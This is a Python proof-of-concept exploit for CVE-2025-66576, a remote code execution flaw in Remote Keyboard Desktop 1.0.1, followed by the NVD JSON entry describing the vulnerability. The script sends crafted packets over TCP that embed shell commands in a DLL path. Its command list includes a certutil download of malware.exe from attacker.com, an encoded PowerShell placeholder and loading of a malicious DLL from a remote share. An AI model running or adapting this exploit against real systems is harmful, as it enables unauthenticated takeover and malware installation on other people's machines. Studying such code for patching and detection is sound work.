CVE-2025-66576

# CVE-2025-66576 PoC - Remote Keyboard Desktop RCE # Target: Remote Keyboard Desktop 1.0.1 # Attack Vector: rundll32.exe exported function abuse import socket import struct import sys def send_exploit(target_ip, target_port, command): """Send malicious command via rundll32.exe export function""" # Construct exploit payload # DLL name with embedded command dll_path = f"RemoteKeyboard.dll,{command}" # Build request packet packet = b"\x00" * 4 # Header packet += dll_path.encode('utf-16le') packet += b"\x00" * 2 try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) response = sock.recv(4096) sock.close() print(f"[+] Payload sent successfully") print(f"[*] Command executed: {command}") return True except Exception as e: print(f"[-] Error: {e}") return False def rundll32_exploit(target_ip, target_port): """Main exploit function using rundll32.exe""" # Common RCE commands commands = [ "whoami > C:\\\\temp\\\\pwned.txt", "certutil -urlcache -split -f http://attacker.com/malware.exe C:\\\\temp\\\\malware.exe", "powershell -EncodedCommand <base64_encoded_powershell>", "rundll32.exe \\\\[attacker_share\\]\\\\malicious.dll,ExportFunction" ] for cmd in commands: send_exploit(target_ip, target_port, cmd) if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) print(f"[*] Exploiting CVE-2025-66576") print(f"[*] Target: {target_ip}:{target_port}") rundll32_exploit(target_ip, target_port)

{"cve": {"id": "CVE-2025-66576", "sourceIdentifier": "[email protected]", "published": "2025-12-04T21:16:10.600", "lastModified": "2025-12-17T16:21:58.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Remote Keyboard Desktop 1.0.1 enables remote attackers to execute system commands via the rundll32.exe exported function export, allowing unauthenticated code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:remotecontrolio:remote_keyboard_desktop:1.0.1:*:*:*:*:windows:*:*", "matchCriteriaId": "AE6865AF-201A-4236-BB55-070A6B6BEF91"}]}]}], "references": [{"url": "https://apps.microsoft.com/detail/9n0jw8v5sc9m?hl=neutral&gl=US&ocid=pdpshare", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://remotecontrolio.web.app/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/52299", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/remote-keyboard-desktop-101-remote-code-execution-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/52299", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}